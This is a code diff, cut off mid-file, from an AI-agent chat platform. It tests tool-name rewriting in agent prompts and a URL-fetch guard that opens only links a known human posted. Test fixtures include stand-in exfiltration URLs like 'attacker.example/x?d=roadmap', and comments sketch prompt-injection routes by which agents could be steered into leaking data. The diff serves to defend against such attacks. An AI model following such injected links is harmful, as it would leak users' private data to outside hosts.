diff --git a/backend/__tests__/unit/services/agentMentionService.nativeCue.test.js b/backend/__tests__/unit/services/agentMentionService.nativeCue.test.js
new file mode 100644
index 0000000000..583a1a5e32
--- /dev/null
+++ b/backend/__tests__/unit/services/agentMentionService.nativeCue.test.js
@@ -0,0 +1,156 @@
+/**
+ * A native turn is told only about tools it has (QA walk, 2026-10-16: a hosted
+ * agent claimed commonly_read_file and pointed a person at commonly_attach_file,
+ * and another offered "a coding specialist like @codex"). The kernel writes its
+ * mention frames for every runtime; the native driver rewrites the ones it
+ * cannot honour (nativeKernelCue). This suite runs REAL kernel-built content
+ * through that rewrite, so a new kernel clause naming a tool native lacks fails
+ * here rather than in front of a stranger.
+ *
+ * Contract under test:
+ *  - the kernel's mention content splits into its tagged frames and the message
+ *  - before the rewrite it names tools native lacks (the positive control)
+ *  - after it, every commonly_* name is a native tool, and the message is intact
+ *  - content that is not kernel-framed passes through unchanged
+ */
+
+jest.mock('../../../services/agentEventService', () => ({ enqueue: jest.fn() }));
+jest.mock('../../../models/AgentRegistry', () => ({
+  AgentInstallation: { find: jest.fn(), findOne: jest.fn() },
+}));
+jest.mock('../../../models/AgentProfile', () => ({ find: jest.fn() }));
+jest.mock('../../../models/Pod', () => ({ findById: jest.fn(), find: jest.fn() }));
+jest.mock('../../../models/User', () => ({ find: jest.fn(), findById: jest.fn() }));
+jest.mock('../../../services/chatSummarizerService', () => ({
+  constructor: { getLatestPodSummary: jest.fn() },
+  summarizePodMessages: jest.fn(),
+}));
+jest.mock('../../../models/AgentEvent', () => ({ countDocuments: jest.fn() }));
+jest.mock('../../../services/welcomeWakeService', () => ({ maybeFireWelcomeWake: jest.fn() }));
+jest.mock('../../../models/pg/Message', () => ({ findById: jest.fn(async () => null) }));
+jest.mock('../../../models/pg/ThreadUserState', () => ({
+  followByParticipation: jest.fn().mockResolvedValue(true),
+}));
+
+const AgentMentionService = require('../../../services/agentMentionService');
+const AgentEventService = require('../../../services/agentEventService');
+const { AgentInstallation } = require('../../../models/AgentRegistry');
+const AgentProfile = require('../../../models/AgentProfile');
+const Pod = require('../../../models/Pod');
+const User = require('../../../models/User');
+const AgentEvent = require('../../../models/AgentEvent');
+
+// Drive the REAL kernel. `installations` decides which frames it writes: one
+// seat is the reference wake; two seats make a collaborative pod; a seat with
+// wake-on-message on gets the wake frame for a message that names no one.
+const kernelContent = async ({ installations, content, type }) => {
+  AgentInstallation.find.mockReturnValue({ lean: jest.fn().mockResolvedValue(installations) });
+  AgentProfile.find.mockReturnValue({ lean: jest.fn().mockResolvedValue([]) });
+  User.find.mockReturnValue({ select: jest.fn().mockReturnThis(), lean: jest.fn().mockResolvedValue([]) });
+  User.findById.mockImplementation(() => ({
+    select: jest.fn().mockReturnThis(),
+    lean: jest.fn().mockResolvedValue({ _id: 'user-1', isBot: false }),
+  }));
+  Pod.findById.mockReturnValue({
+    select: jest.fn().mockReturnValue({
+      lean: jest.fn().mockResolvedValue({ type: 'chat', members: ['user-1', 'bot-1', 'bot-2'] }),
+    }),
+    lean: jest.fn().mockResolvedValue({ _id: 'pod-1', type: 'chat', members: ['user-1', 'bot-1', 'bot-2'] }),
+  });
+  AgentEvent.countDocuments.mockResolvedValue(0);
+
+  await AgentMentionService.enqueueMentions({
+    podId: 'pod-1',
+    userId: 'user-1',
+    username: 'alice',
+    message: { id: 'm-1', content },
+  });
+  // The LAST matching call: one arm may drive several scenarios.
+  const call = AgentEventService.enqueue.mock.calls.filter(([a]) => a.type === type).pop();
+  if (!call) throw new Error(`the kernel enqueued no ${type}`);
+  return call[0].payload.content;
+};
+
+const seat = (agentName, extra = {}) => ({ agentName, instanceId: 'default', displayName: agentName, ...extra });
+const referenceWake = () => kernelContent({
+  installations: [seat('seat-a')], content: 'hi @seat-a', type: 'chat.mention',
+});
+const collaborativeMention = () => kernelContent({
+  installations: [seat('seat-a'), seat('seat-b')], content: 'hi @seat-a', type: 'chat.mention',
+});
+const wakeOnMessage = () => kernelContent({
+  installations: [seat('seat-a', { config: { wakeOnMessage: { enabled: true } } })],
+  content: 'just thinking out loud here',
+  type: 'message.posted',
+});
+beforeEach(() => { jest.clearAllMocks(); });
+
+const { splitKernelFrames, frameTagOf, KERNEL_FRAME_TAGS } = require('../../../services/kernelFrames');
+const { nativeCueFromKernel } = require('../../../services/nativeKernelCue');
+const { NATIVE_TOOL_NAMES } = require('../../../services/nativeRuntimeService');
+
+const toolNamesIn = (text) => [...new Set(text.match(/commonly_[a-z_]+/g) || [])];
+
+describe('native cue from kernel-built mention content', () => {
+  test('the reference wake splits into its four tagged frames and the message', async () => {
+    const { frames, body } = splitKernelFrames(await referenceWake());
+
+    expect(frames.map(frameTagOf)).toEqual(['Pod context', 'Trigger', 'Collaboration', 'Reply mechanics']);
+    expect(body).toBe('hi @seat-a');
+  });
+
+  test('before the rewrite the kernel names tools native lacks; after it, only native tools', async () => {
+    const content = await referenceWake();
+    const foreign = toolNamesIn(content).filter((name) => !NATIVE_TOOL_NAMES.includes(name));
+    expect(foreign).toEqual(expect.arrayContaining(['commonly_attach_file', 'commonly_read_file', 'commonly_dm_agent']));
+
+    const cue = nativeCueFromKernel(content, 'pod-1', NATIVE_TOOL_NAMES);
+
+    expect(toolNamesIn(cue).filter((name) => !NATIVE_TOOL_NAMES.includes(name))).toEqual([]);
+    expect(cue).not.toMatch(/codex|token file|threadRootId/);
+    expect(cue).toMatch(/this conversation is in pod `pod-1`/);
+    expect(cue).toMatch(/You cannot open or attach files here/);
+    // The tool-agnostic part of the kernel's addressing rule survives.
+    expect(cue).toMatch(/a bare name reaches no one/);
+    expect(cue).not.toMatch(/commonly_request_decision/);
+    expect(cue).toContain('[Reply mechanics:');
+    expect(cue).toContain('[Trigger: this turn was raised by **alice**');
+    expect(cue.endsWith('\n\nhi @seat-a')).toBe(true);
+  });
+
+  // sprint-review on #2261: the property was only checked on a one-seat pod,
+  // and the collaborative-pod and wake frames carried DM and claim tools
+  // through. Every tag the kernel writes is driven here, from real content.
+  test('across every kernel frame tag, the native cue names only native tools', async () => {
+    const contents = [await referenceWake(), await collaborativeMention(), await wakeOnMessage()];
+    const seen = new Set(contents.flatMap((content) => splitKernelFrames(content).frames.map(frameTagOf)));
+    // The instrument covers every tag, or this arm proves nothing about the one it misses.
+    expect([...seen].sort()).toEqual(expect.arrayContaining(Object.values(KERNEL_FRAME_TAGS)));
+
+    for (const content of contents) {
+      const cue = nativeCueFromKernel(content, 'pod-1', NATIVE_TOOL_NAMES);
+      expect(toolNamesIn(cue).filter((name) => !NATIVE_TOOL_NAMES.includes(name))).toEqual([]);
+    }
+  });
+
+  test('the collaborative-pod and wake frames keep their guidance and lose only the tool sentences', async () => {
+    const collab = nativeCueFromKernel(await collaborativeMention(), 'pod-1', NATIVE_TOOL_NAMES);
+    expect(collab).toMatch(/\[Collaborative pod: .*EXECUTE it yourself.*race them by picking it up directly.*say so in the pod when you do\.\]/);
+    expect(collab).not.toMatch(/Delegate only when|commonly_dm_agent|commonly_open_dm/);
+
+    const wake = nativeCueFromKernel(await wakeOnMessage(), 'pod-1', NATIVE_TOOL_NAMES);
+    expect(wake).toMatch(/\[Wake-on-message: .*return NO_REPLY as your ENTIRE reply.*\]/);
+    expect(wake).not.toMatch(/commonly_claim_message|must be claimed first/);
+  });
+
+  test('a frame that still names a tool native lacks is dropped, not shown', () => {
+    const content = '[Trigger: raised by **alice**.]\n[Some new cue: call commonly_brand_new_tool.]\n\nhi';
+    const cue = nativeCueFromKernel(content, 'pod-1', NATIVE_TOOL_NAMES);
+    expect(cue).toBe('[Trigger: raised by **alice**.]\n\nhi');
+  });
+
+  test('content that is not kernel-framed passes through unchanged', () => {
+    expect(nativeCueFromKernel('A human just added you to this workspace.', 'pod-1', NATIVE_TOOL_NAMES))
+      .toBe('A human just added you to this workspace.');
+  });
+});
diff --git a/backend/__tests__/unit/services/kernelFrames.test.js b/backend/__tests__/unit/services/kernelFrames.test.js
new file mode 100644
index 0000000000..31ea0b09d9
--- /dev/null
+++ b/backend/__tests__/unit/services/kernelFrames.test.js
@@ -0,0 +1,53 @@
+/**
+ * The kernel's mention frames have one owner (kernelFrames), so a driver that
+ * rewrites a frame for its own tools finds it by tag instead of parsing prose.
+ *
+ * Contract under test:
+ *  - leading frame lines split from the message, and rejoin to the same text
+ *  - an untagged frame is still a frame; its tag is null
+ *  - content that does not open with a frame block comes back whole
+ */
+
+const fs = require('fs');
+const path = require('path');
+const {
+  KERNEL_FRAME_TAGS, frameTagOf, joinKernelFrames, splitKernelFrames,
+} = require('../../../services/kernelFrames');
+
+const framed = [
+  `[${KERNEL_FRAME_TAGS.podContext}: this conversation is in pod \`p1\`.]`,
+  `[${KERNEL_FRAME_TAGS.trigger}: this turn was raised by **alice**.]`,
+  '[This message replies to YOUR earlier message.]',
+].join('\n');
+
+describe('kernelFrames', () => {
+  test('splits the frames from the message and rejoins to the same text', () => {
+    const content = `${framed}\n\nhi @seat-a\n\nsecond paragraph`;
+    const { frames, body } = splitKernelFrames(content);
+
+    expect(frames.map(frameTagOf)).toEqual(['Pod context', 'Trigger', null]);
+    expect(body).toBe('hi @seat-a\n\nsecond paragraph');
+    expect(joinKernelFrames(frames, body)).toBe(content);
+  });
+
+  test.each([
+    ['no frames', 'hi @seat-a'],
+    ['a bracketed message with no blank line', '[draft] hi @seat-a'],
+    ['a block whose second line is prose', '[Pod context: p1.]\nnot a frame\n\nhi'],
+    ['an empty string', ''],
+  ])('%s comes back whole', (_label, content) => {
+    expect(splitKernelFrames(content)).toEqual({ frames: [], body: content });
+    expect(joinKernelFrames([], content)).toBe(content);
+  });
+
+  test.each(Object.entries(KERNEL_FRAME_TAGS))('the %s tag is the one agentMentionService writes', (_key, tag) => {
+    const source = fs.readFileSync(path.join(__dirname, '../../../services/agentMentionService.ts'), 'utf8');
+    expect(source).toContain(`[${tag}: `);
+  });
+
+  test('frameTagOf reads the tag before the first colon', () => {
+    expect(frameTagOf('[Reply mechanics: post it.]')).toBe('Reply mechanics');
+    expect(frameTagOf('[This message replies to YOUR earlier message — you are addressed.]')).toBeNull();
+    expect(frameTagOf('plain text')).toBeNull();
+  });
+});
diff --git a/backend/__tests__/unit/services/nativeRuntimeService.hostedEngine.test.js b/backend/__tests__/unit/services/nativeRuntimeService.hostedEngine.test.js
index 58f466e10b..3a0e72ef68 100644
--- a/backend/__tests__/unit/services/nativeRuntimeService.hostedEngine.test.js
+++ b/backend/__tests__/unit/services/nativeRuntimeService.hostedEngine.test.js
@@ -26,7 +26,7 @@ jest.mock('../../../models/AgentRun', () => ({ create: jest.fn(), countDocuments
 let mockOwnerPro = false;
 jest.mock('../../../models/User', () => ({
   findOne: jest.fn(() => ({ select: () => ({ lean: () => Promise.resolve(null) }) })),
-  findById: jest.fn(() => ({ select: () => ({ lean: () => Promise.resolve({ entitlements: { pro: mockOwnerPro } }) }) })),
+  findById: jest.fn(() => ({ select: () => ({ lean: () => Promise.resolve({ entitlements: { pro: mockOwnerPro }, isBot: false }) }) })),
 }));
 
 jest.mock('../../../services/agentTypingService', () => ({
@@ -77,6 +77,21 @@ jest.mock('../../../services/turnSandboxService', () => ({
   TurnSandbox: jest.fn().mockImplementation(() => ({ run: mockSandboxRun, close: mockSandboxClose })),
 }));
 
+// Reading a page: the guard is a spy here (outboundUrlGuard.fetch.test.js proves it).
+const mockGetPage = jest.fn();
+jest.mock('../../../services/outboundUrlGuard', () => ({
+  ...jest.requireActual('../../../services/outboundUrlGuard'),
+  getFromPublicAddress: (...args) => mockGetPage(...args),
+}));
+const mockTaskRows = jest.fn();
+const mockTaskCount = jest.fn();
+jest.mock('../../../models/Task', () => ({
+  find: jest.fn(() => ({
+    sort: () => ({ limit: () => ({ select: () => ({ lean: () => mockTaskRows() }) }) }),
+  })),
+  countDocuments: (...args) => mockTaskCount(...args),
+}));
+
 jest.mock('../../../models/Message', () => {
   const chain = {
     sort: () => chain, limit: () => chain, select: () => chain, populate: () => chain, lean: () => Promise.resolve([]),
@@ -101,10 +116,16 @@ const hostedInstall = (hosted = { engine: 'native', provisionedAt: new Date(), a
   config: { runtime: { runtimeType: 'hosted' }, hosted, ...extra },
 });
 
-const mention = { type: 'chat.mention', eventId: '507f1f77bcf86cd799439012', payload: { content: '@maya-agent what did we decide?' } };
+// One pod message the owner (a known human) wrote.
+const mention = {
+  type: 'chat.mention',
+  eventId: '507f1f77bcf86cd799439012',
+  payload: { content: '@maya-agent what did we decide?', userId: '507f1f77bcf86cd799439099', messageId: 'msg-1' },
+};
 
 const BASE_TOOLS = [
-  'commonly_create_task', 'commonly_post_message', 'commonly_read_context', 'commonly_read_memory', 'commonly_write_memory',
+  'commonly_create_task', 'commonly_fetch_url', 'commonly_list_tasks', 'commonly_post_message', 'commonly_read_context',
+  'commonly_read_memory', 'commonly_write_memory',
 ];
 const call = (id, name, args) => ({ id, type: 'function', function: { name, arguments: JSON.stringify(args) } });
 const toolCalls = (...calls) => ({
@@ -190,7 +211,7 @@ describe('nativeRuntimeService — hosted installs on the native engine', () =>
       const prompt = systemPromptIn(0);
       expect(prompt).toMatch(/Use commonly_web_search for anything current/);
       expect(prompt).toMatch(/Use commonly_run_code to calculate/);
-      expect(prompt).toMatch(/for example, opening a link someone shares\)/);
+      expect(prompt).toMatch(/for example, opening an attached file\)/);
     });
 
     test('an instance with neither key offers neither, and the prompt does not claim them', async () => {
@@ -199,7 +220,7 @@ describe('nativeRuntimeService — hosted installs on the native engine', () =>
       expect(offeredIn(0)).toEqual(BASE_TOOLS);
       const prompt = systemPromptIn(0);
       expect(prompt).not.toMatch(/commonly_web_search|commonly_run_code/);
-      expect(prompt).toMatch(/for example, running code, searching the web or opening a link someone shares\)/);
+      expect(prompt).toMatch(/for example, running code, searching the web or opening an attached file\)/);
     });
 
     test('with one key, only that tool is offered and named', async () => {
@@ -211,7 +232,7 @@ describe('nativeRuntimeService — hosted installs on the native engine', () =>
       const prompt = systemPromptIn(0);
       expect(prompt).toMatch(/Use commonly_web_search/);
       expect(prompt).not.toMatch(/commonly_run_code/);
-      expect(prompt).toMatch(/for example, running code or opening a link someone shares\)/);
+      expect(prompt).toMatch(/for example, running code or opening an attached file\)/);
     });
 
     test('a hosted turn stops at three searches and records them for the spend alarm', async () => {
@@ -252,6 +273,75 @@ describe('nativeRuntimeService — hosted installs on the native engine', () =>
     });
   });
 
+  // The QA walk of 2026-10-16: a hosted agent could not open a shared link,
+  // said the board was empty when it held three tasks, and claimed file tools
+  // the kernel's frame had named but the turn never had.
+  describe('reading a link, reading the board, and a frame that names only its tools', () => {
+    const toolMessages = (callIndex) => axios.post.mock.calls[callIndex][1].messages.filter((m) => m.role === 'tool');
+    const userMessageIn = (callIndex) => axios.post.mock.calls[callIndex][1].messages.find((m) => m.role === 'user').content;
+
+    test('ask d: the README is read from the repo link the person gave; a composed README address is refused', async () => {
+      const repo = 'https://github.com/Team-Commonly/commonly';
+      mockGetPage.mockResolvedValue({
+        ok: true, status: 200, contentType: 'text/html', text: 'README What is Commonly? …', truncated: false, url: repo,
+      });
+      axios.post
+        .mockResolvedValueOnce(toolCalls(call('c1', 'commonly_fetch_url', {
+          url: 'https://raw.githubusercontent.com/Team-Commonly/commonly/main/README.md',
+        })))
+        .mockResolvedValueOnce(toolCalls(call('c2', 'commonly_fetch_url', { url: repo })));
+
+      await runAgent(hostedInstall(), {
+        ...mention, payload: { ...mention.payload, content: '@maya-agent Read the README of github.com/Team-Commonly/commonly' },
+      });
+
+      expect(mockGetPage.mock.calls).toEqual([[repo]]);
+      expect(toolMessages(2)[0].content).toMatch(/does not appear in this conversation/);
+      expect(toolMessages(2)[1].content).toMatch(/What is Commonly\?/);
+      // The refused attempt sent nothing, so it does not spend one of the three.
+      expect(savedRun.webFetches).toBe(1);
+    });
+
+    test('the board is read, not guessed', async () => {
+      mockTaskRows.mockResolvedValue([{ taskId: 'TASK-1', title: 'Say hello to the pod', status: 'pending', assignee: null }]);
+      mockTaskCount.mockResolvedValue(3);
+      axios.post.mockResolvedValueOnce(toolCalls(call('c1', 'commonly_list_tasks', {})));
+
+      await runAgent(hostedInstall(), mention);
+
+      const Task = require('../../../models/Task');
+      expect(Task.find).toHaveBeenCalledWith({ podId: POD, status: { $in: ['pending', 'claimed', 'blocked'] } });
+      const listed = JSON.parse(toolMessages(1)[0].content);
+      expect(listed).toEqual({
+        status: 'open', total: 3, tasks: [{ taskId: 'TASK-1', title: 'Say hello to the pod', status: 'pending', assignee: null }],
+      });
+      expect(systemPromptIn(0)).toMatch(/check the board with commonly_list_tasks before saying what is or is not on it/);
+      // QA walk: a pod summary also searched the web and ran code (19 s).
+      expect(systemPromptIn(0)).toMatch(/Answer a question about this pod from the pod itself; reach for the tools below only when/);
+      // QA walk: an answer opening "@asker" filed every reply as "needs you".
+      expect(systemPromptIn(0)).toMatch(/Do not @-mention the person you are answering/);
+      expect(systemPromptIn(0)).toMatch(/@-mention someone only when you need them to do something/);
+    });
+
+    test('a kernel-framed mention reaches the model naming only tools the turn has', async () => {
+      const content = [
+        '[Pod context: this conversation is in pod `p`. When attaching files, call commonly_attach_file({ podId: "p" }). '
+          + 'When reading files call commonly_read_file({ podId: "p", fileName }). Post with your token file.]',
+        '[Trigger: this turn was raised by **sam**. If it is not recent, call commonly_get_messages before you reply.]',
+        '[Collaboration: consult a coding specialist. Call commonly_dm_agent({ agentName: "codex" }).]',
+        '[Reply mechanics: post your reply by calling commonly_post_message({ podId: "p" }).]',
+      ].join('\n');
+
+      await runAgent(hostedInstall(), { ...mention, payload: { ...mention.payload, content: `${content}\n\n@maya-agent what can you do?` } });
+
+      const sent = userMessageIn(0);
+      expect(sent).not.toMatch(/commonly_attach_file|commonly_read_file|commonly_dm_agent|commonly_get_messages|codex|token file/);
+      expect(sent).toMatch(/You cannot open or attach files here/);
+      expect(sent).toMatch(/call commonly_read_context before you reply/);
+      expect(sent).toMatch(/\n\n@maya-agent what can you do\?$/);
+    });
+  });
+
   test('in a pod holding an outsider-writable grant, a hosted turn is narrowed like any native one', async () => {
     const { podHasOutsiderWritableGrant } = require('../../../services/nativeOutsiderGrantPolicy');
     podHasOutsiderWritableGrant.mockResolvedValue(true);
diff --git a/backend/__tests__/unit/services/nativeRuntimeService.webFetch.test.js b/backend/__tests__/unit/services/nativeRuntimeService.webFetch.test.js
index 1cec338605..236ff7f090 100644
--- a/backend/__tests__/unit/services/nativeRuntimeService.webFetch.test.js
+++ b/backend/__tests__/unit/services/nativeRuntimeService.webFetch.test.js
@@ -28,8 +28,13 @@ jest.mock('../../../models/AgentRun', () => ({ create: jest.fn(), countDocuments
 const SEAT_ID = '507f1f77bcf86cd799439077';
 const SAM_ID = '507f1f77bcf86cd7994390aa';
 let mockSeatRow = { _id: SEAT_ID };
+// Who sent the message a turn answers: a known human gives addresses, an agent
+// or an unknown sender does not.
+const BOT_ID = '507f1f77bcf86cd7994390bb';
+let mockUsersById = {};
 jest.mock('../../../models/User', () => ({
   findOne: jest.fn(() => ({ select: () => ({ lean: () => Promise.resolve(mockSeatRow) }) })),
+  findById: jest.fn((id) => ({ select: () => ({ lean: () => Promise.resolve(mockUsersById[String(id)] ?? null) }) })),
 }));
 jest.mock('../../../services/agentTypingService', () => ({ emitAgentTypingStart: jest.fn(), emitAgentTypingStop: jest.fn() }));
 jest.mock('../../../services/agentMessageService', () => ({ postMessage: jest.fn().mockResolvedValue({ success: true }) }));
@@ -63,6 +68,14 @@ jest.mock('../../../services/outboundUrlGuard', () => ({
 }));
 const mockRecentRows = jest.fn();
 jest.mock('../../../models/pg/Message', () => ({ findByPodId: (...args) => mockRecentRows(...args) }));
+// The Mongo fallback, read when the PG mirror is down.
+const mockMongoDocs = jest.fn();
+jest.mock('../../../models/Message', () => {
+  const chain = {
+    sort: () => chain, limit: () => chain, populate: () => chain, lean: () => mockMongoDocs(),
+  };
+  return { find: jest.fn(() => chain) };
+});
 const mockBrokerDispatch = jest.fn();
 jest.mock('../../../services/grantBrokerProjectionService', () => ({
   hostedBrokerToolsForRun: jest.fn().mockResolvedValue({
@@ -90,8 +103,12 @@ const install = (extra = {}) => ({
     ...extra,
   },
 });
-const mention = (content = `@analyst what does github.com/acme/widget do?`) => ({
-  type: 'chat.mention', eventId: '507f1f77bcf86cd799439012', payload: { content },
+// By default one pod message a known human (Sam) wrote.
+const mention = (
+  content = `@analyst what does github.com/acme/widget do?`,
+  { userId = SAM_ID, messageId = 'msg-1', type = 'chat.mention' } = {},
+) => ({
+  type, eventId: '507f1f77bcf86cd799439012', payload: { content, userId, messageId },
 });
 
 const call = (id, name, args) => ({ id, type: 'function', function: { name, arguments: JSON.stringify(args) } });
@@ -129,6 +146,7 @@ describe('native turn with commonly_fetch_url', () => {
     mockBridged.mockResolvedValue(false);
     mockRecentRows.mockResolvedValue([]);
     mockSeatRow = { _id: SEAT_ID };
+    mockUsersById = { [SAM_ID]: { isBot: false }, [BOT_ID]: { isBot: true } };
     mockSandboxRun.mockResolvedValue({ ok: true, stdout: 'ran', stderr: '' });
     mockBrokerDispatch.mockImplementation(async ({ name }) => (name === 'linear_list_issues'
       ? { callId: 'tc-1', outcome: 'ok', content: { issues: [{ title: 'Private roadmap' }] } }
@@ -224,8 +242,8 @@ describe('native turn with commonly_fetch_url', () => {
 
   test('another author\'s pod message gives a link; the agent\'s own earlier post does not', async () => {
     mockRecentRows.mockResolvedValue([
-      { id: 'm1', user_id: SAM_ID, username: 'sam', content: 'the repo: https://github.com/acme/other', createdAt: new Date() },
-      { id: 'm2', user_id: SEAT_ID, username: 'Analyst', content: 'noted https://attacker.example/c?d=roadmap', createdAt: new Date() },
+      { id: 'm1', user_id: SAM_ID, is_bot: false, username: 'sam', content: 'the repo: https://github.com/acme/other', createdAt: new Date() },
+      { id: 'm2', user_id: SEAT_ID, is_bot: true, username: 'Analyst', content: 'noted https://attacker.example/c?d=roadmap', createdAt: new Date() },
     ]);
     axios.post
       .mockResolvedValueOnce(toolCalls(
@@ -260,7 +278,7 @@ describe('native turn with commonly_fetch_url', () => {
   test('the model\'s own words never give a link: it cannot post an address, read it back and open it', async () => {
     // read_context returns the post the model just made, under its display name.
     mockRecentRows.mockResolvedValue([
-      { id: 'm9', user_id: SEAT_ID, username: 'Analyst', content: 'https://attacker.example/x', createdAt: new Date() },
+      { id: 'm9', user_id: SEAT_ID, is_bot: true, username: 'Analyst', content: 'https://attacker.example/x', createdAt: new Date() },
     ]);
     axios.post
       .mockResolvedValueOnce({
@@ -287,7 +305,7 @@ describe('native turn with commonly_fetch_url', () => {
   // by author NAME, and a bot's name drifts by design. Read back under a
   // drifted name, the agent's own address counted as another author's.
   test.each([
-    ['a collision-suffixed display name', { user_id: SEAT_ID, username: 'Analyst (Research Bot)' }],
+    ['a collision-suffixed display name', { user_id: SEAT_ID, is_bot: true, username: 'Analyst (Research Bot)' }],
     ['"Unknown User" with no author id', { username: 'Unknown User' }],
   ])('the agent\'s own post read back under %s gives no link', async (_label, author) => {
     mockRecentRows.mockResolvedValue([
@@ -306,10 +324,90 @@ describe('native turn with commonly_fetch_url', () => {
     expect(toolMessages(1)[1].content).toMatch(/does not appear in this conversation/);
   });
 
+  // Cofounder's security read on #2249: only a human's message gives an
+  // address. Two agents steered by the same injected text could otherwise pass
+  // an address between them, and another instance of this agent posts under a
+  // different user.
+  test.each([
+    ['another agent', { user_id: '507f1f77bcf86cd7994390bb', is_bot: true, username: 'Scout' }],
+    ['another instance of this agent', { user_id: '507f1f77bcf86cd7994390cc', is_bot: true, username: 'Analyst (Ops)' }],
+    // A PG row without the raw column, as formatMessage shapes it: its mapped
+    // userId.isBot reads a missing flag as false, which must not count.
+    ['an author whose bot flag is unknown', { user_id: SAM_ID, username: 'sam', userId: { _id: SAM_ID, username: 'sam', isBot: false } }],
+    ['the agent itself, its id in another case', { user_id: SEAT_ID.toUpperCase(), is_bot: false, username: 'Analyst' }],
+  ])('a post by %s gives no link', async (_label, author) => {
+    mockRecentRows.mockResolvedValue([
+      { id: 'm8', ...author, content: 'https://attacker.example/x?d=roadmap', createdAt: new Date() },
+    ]);
+    axios.post
+      .mockResolvedValueOnce(toolCalls(
+        call('c1', 'commonly_read_context', {}),
+        call('c2', 'commonly_fetch_url', { url: 'https://attacker.example/x?d=roadmap' }),
+      ))
+      .mockResolvedValueOnce(finalReply);
+
+    await runAgent(install(), mention('@analyst summarize'));
+
+    expect(mockGetPage).not.toHaveBeenCalled();
+    expect(toolMessages(1)[1].content).toMatch(/does not appear in this conversation/);
+  });
+
+  test('on the Mongo fallback, a human\'s post gives a link and an agent\'s does not', async () => {
+    mockRecentRows.mockRejectedValue(new Error('pg down'));
+    mockMongoDocs.mockResolvedValue([
+      { _id: 'm6', userId: { _id: '507f1f77bcf86cd7994390bb', username: 'scout', isBot: true }, content: 'https://attacker.example/y', createdAt: new Date() },
+      { _id: 'm5', userId: { _id: SAM_ID, username: 'sam', isBot: false }, content: 'https://github.com/acme/other', createdAt: new Date() },
+    ]);
+    axios.post
+      .mockResolvedValueOnce(toolCalls(
+        call('c1', 'commonly_read_context', {}),
+        call('c2', 'commonly_fetch_url', { url: 'https://attacker.example/y' }),
+        call('c3', 'commonly_fetch_url', { url: 'https://github.com/acme/other' }),
+      ))
+      .mockResolvedValueOnce(finalReply);
+
+    await runAgent(install(), mention('@analyst summarize'));
+
+    expect(mockGetPage.mock.calls).toEqual([['https://github.com/acme/other']]);
+  });
+
+  // Cofounder's security read on #2261: the message a turn answers gave
+  // addresses whoever wrote it, so another agent's mention carrying a URL was
+  // fetched as sent. Only a message a known human wrote gives one.
+  test.each([
+    ['another agent', { userId: BOT_ID }],
+    ['a sender that cannot be found', { userId: '507f1f77bcf86cd7994390dd' }],
+    ['a sender with no bot flag', { userId: '507f1f77bcf86cd7994390ee' }],
+    ['no sender at all', { userId: '' }],
+    ['a wake that names no message (a board wake lists others\' text)', { messageId: '', type: 'message.posted' }],
+    // Its cue carries the approver and the executor's result (connector output).
+    ['an event that is not one message a person wrote (an approval result)', { type: 'approval.resolved' }],
+  ])('the message the turn answers gives no link when it comes from %s', async (_label, sender) => {
+    mockUsersById['507f1f77bcf86cd7994390ee'] = {};
+    axios.post
+      .mockResolvedValueOnce(toolCalls(call('c1', 'commonly_fetch_url', { url: 'https://attacker.example/x?d=roadmap' })))
+      .mockResolvedValueOnce(finalReply);
+
+    await runAgent(install(), mention('@analyst open https://attacker.example/x?d=roadmap', sender));
+
+    expect(mockGetPage).not.toHaveBeenCalled();
+    expect(toolMessages(1)[0].content).toMatch(/does not appear in this conversation/);
+  });
+
+  test('a human\'s pod-message wake gives its link, like a mention does', async () => {
+    axios.post
+      .mockResolvedValueOnce(toolCalls(call('c1', 'commonly_fetch_url', { url: REPO })))
+      .mockResolvedValueOnce(finalReply);
+
+    await runAgent(install(), mention(undefined, { type: 'message.posted' }));
+
+    expect(mockGetPage.mock.calls).toEqual([[REPO]]);
+  });
+
   test('when the agent\'s own user cannot be found, no pod message gives a link; the mention still does', async () => {
     mockSeatRow = null;
     mockRecentRows.mockResolvedValue([
-      { id: 'm4', user_id: SAM_ID, username: 'sam', content: 'https://github.com/acme/other', createdAt: new Date() },
+      { id: 'm4', user_id: SAM_ID, is_bot: false, username: 'sam', content: 'https://github.com/acme/other', createdAt: new Date() },
     ]);
     axios.post
       .mockResolvedValueOnce(toolCalls(
@@ -327,7 +425,7 @@ describe('native turn with commonly_fetch_url', () => {
 
   test('another author\'s message read mid-turn gives a link', async () => {
     mockRecentRows.mockResolvedValue([
-      { id: 'm3', user_id: SAM_ID, username: 'sam', content: 'older link: https://github.com/acme/older', createdAt: new Date() },
+      { id: 'm3', user_id: SAM_ID, is_bot: false, username: 'sam', content: 'older link: https://github.com/acme/older', createdAt: new Date() },
     ]);
     axios.post
       .mockResolvedValueOnce(toolCalls(call('c1', 'commonly_read_context', {})))
diff --git a/backend/services/hostedEngine.ts b/backend/services/hostedEngine.ts
index b0e98882aa..9399fe52cc 100644
--- a/backend/services/hostedEngine.ts
+++ b/backend/services/hostedEngine.ts
@@ -160,7 +160,9 @@ export const hostedNativeDecline = (eventType: string, turnsPerDay: number): str
  * still offers each only where this instance holds its key, and bounds it per
  * turn: 3 searches (nativeRuntimeService), and 5 code runs in one sandbox that
  * lives at most 3 minutes (turnSandboxService). Both are recorded on the
- * AgentRun and priced into the per-user spend alarm.
+ * AgentRun and priced into the per-user spend alarm. Reading a page
+ * (commonly_fetch_url) needs no key and opens only a link the turn was given
+ * (webAddressProvenance); reading the board (commonly_list_tasks) is in-pod.
  */
 export const HOSTED_NATIVE_TOOLS: readonly string[] = [
   'commonly_read_context',
@@ -168,8 +170,10 @@ export const HOSTED_NATIVE_TOOLS: readonly string[] = [
   'commonly_write_memory',
   'commonly_post_message',
   'commonly_create_task',
+  'commonly_list_tasks',
   'commonly_web_search',
   'commonly_run_code',
+  'commonly_fetch_url',
 ];
 
 /** Recent messages a hosted turn sees, as Scout does. */
@@ -187,8 +191,7 @@ const orList = (items: string[]): string => (
 
 // The prompt names a tool only when the turn can be offered it, so an
 // instance without a search or sandbox key never tells its agent it can
-// search or run code. Opening a link stays on the "say so" list until a fetch
-// tool exists (TASK-267b).
+// search or run code.
 export const hostedNativeSystemPrompt = (
   displayName: string,
   about?: string,
@@ -196,22 +199,34 @@ export const hostedNativeSystemPrompt = (
 ): string => {
   const persona = about && about.trim() ? ` ${about.trim()}` : '';
   const uses = [
+    'Read a link someone shared with commonly_fetch_url.',
     abilities.webSearch ? 'Use commonly_web_search for anything current or outside the pod.' : '',
     abilities.runCode ? 'Use commonly_run_code to calculate or check something by running it instead of guessing.' : '',
   ].filter(Boolean);
   const missing = [
     abilities.runCode ? '' : 'running code',
